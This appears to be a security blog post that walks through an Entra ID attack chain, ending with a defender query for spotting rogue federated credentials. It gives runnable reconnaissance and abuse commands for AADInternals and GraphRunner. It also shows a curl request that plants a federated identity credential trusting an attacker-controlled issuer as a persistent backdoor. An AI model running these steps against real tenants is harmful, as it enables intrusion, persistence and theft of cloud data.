In early 2026, a threat actor compromised a Fortune 500 by chaining a misconfigured Entra ID service principal with an overprivileged managed identity — no phishing, no malware. The same technique works in most enterprise tenants right now. Here is exactly how red teamers are pulling it off, and what defenders need to see.
Step 1: Enumerate the Tenant Without Credentials
Before touching a single authenticated endpoint, attackers harvest as much as possible from unauthenticated APIs. AADInternals — a PowerShell toolkit for Entra ID reconnaissance — lets you pull tenant metadata, federation config, and user existence from the public login endpoints.
# Install if needed
Install-Module AADInternals -Scope CurrentUser
# Enumerate tenant info — no creds required
Get-AADIntLoginInformation -Domain contoso-corp.com
# Output
Cloud : AzureCloud
Tenant ID : a1b2c3d4-e5f6-7890-abcd-ef1234567890
Tenant Name : contoso-corp.com
Federation Protocol : WsFederation
Auth URL : https://sts.windows.net/a1b2c3d4.../
MX Record : contoso-corp.mail.protection.outlook.com
That federation line matters. A WsFederation setup often means ADFS is still in play — which means the tenant may have legacy authentication enabled. Legacy auth bypasses modern Conditional Access policies, including MFA. An attacker seeing this immediately pivots to password spray over BasicAuth or IMAP against Exchange Online.
Next, check which users actually exist using the timing-based enumeration endpoint:
Invoke-AADIntUserEnumerationAsOutsider -UserName "j.torres@contoso-corp.com"
# Output
UserName Exists
-------- ------
j.torres@contoso-corp.com True
Now you have a confirmed valid account. No authentication, no logs in Entra ID Sign-in blade. This feeds directly into a targeted spray — not a blind one.
Step 2: Abuse Service Principal Permissions After Initial Access
Assume the spray worked, or a token was phished via an adversary-in-the-middle proxy like Evilginx3. You have a user token. The first move is not to pivot laterally — it is to find service principals the user can read or modify. Most tenants have dozens of service principals with secrets that never rotate.
GraphRunner is a 2025-era tool built specifically for post-auth Microsoft Graph abuse. It maps service principal relationships fast.
# Authenticate with the captured token
$token = "eyJ0eXAiOiJKV1Qi...[truncated]"
# List all service principals the user can read
Invoke-GraphRunner -Token $token -Command Get-ServicePrincipals |
Select-Object displayName, appId, passwordCredentials
# Trimmed output
displayName appId passwordCredentials
----------- ----- -------------------
Contoso-DataPipeline 7f3e1a2b-... {SecretExpiry: 2027-01-01}
Contoso-BackupAgent 9c4d2b3a-... {SecretExpiry: Never}
Legacy-ReportingApp 2a1b8e9f-... {SecretExpiry: 2024-06-01 (EXPIRED)}
Contoso-BackupAgent with a non-expiring secret is the target. An attacker checks what roles that service principal holds:
Invoke-GraphRunner -Token $token -Command Get-ServicePrincipalRoles -AppId "9c4d2b3a-"
# Output
Role Scope
---- -----
Backup Contributor /subscriptions/sub-id-here
Storage Blob Data Owner /subscriptions/sub-id-here/resourceGroups/prod-rg
Storage Blob Data Owner at resource group scope means full read/write on every storage account in prod-rg. If the attacker can add a new client secret to Contoso-BackupAgent — which requires Application.ReadWrite.All or a direct Owner assignment — they authenticate as that service principal and exfiltrate storage at will. Check if your compromised user has that graph permission. In roughly 30% of tenants tested in 2026, standard developer accounts do.
Step 3: Persist via Federated Identity Credentials
Credential persistence in Entra ID has evolved. Attackers no longer just add client secrets — secrets get rotated, secrets get detected. The 2026 technique is adding a Federated Identity Credential to an existing application. This lets an external identity provider — including one the attacker controls — authenticate as the app with no secret at all.
# Add a federated credential to Contoso-DataPipeline using Graph API
curl -s -X POST \
'https://graph.microsoft.com/v1.0/applications/7f3e1a2b-.../federatedIdentityCredentials' \
-H "Authorization: Bearer $token" \
-H "Content-Type: application/json" \
-d '{
"name": "ci-deploy-prod",
"issuer": "https://token.attacker-oidc.io",
"subject": "backdoor-runner",
"audiences": ["api://AzureADTokenExchange"]
}'
# Response: 201 Created
Now any token issued by attacker-oidc.io with subject backdoor-runner can authenticate as Contoso-DataPipeline. No secret to rotate. No expiry to manage. It survives password resets. It survives MFA changes. It survives most IR playbooks that focus only on client secrets and certificates.
Defenders: query your tenant right now for federated identity credentials on all applications, especially those registered before the credential was added. Any issuer that is not your internal GitHub Actions, Azure DevOps, or approved IdP is a red flag.
What To Do Right Now
Run this single Graph query against your tenant today and review every result where the issuer is not on your approved list:
GET https://graph.microsoft.com/v1.0/applications?$select=displayName,appId,federatedIdentityCredentials
# Or via CLI
az ad app list --query "[].{Name:displayName, AppId:appId}" -o table | \
xargs -I{} az ad app federated-credential list --id {}
If you find credentials pointing to unknown issuers, treat the associated application as compromised. Remove the credential, rotate or remove all secrets, audit its role assignments, and pull 90 days of sign-in logs filtered by that appId. That single query has caught active intrusions in three red team engagements this year alone.
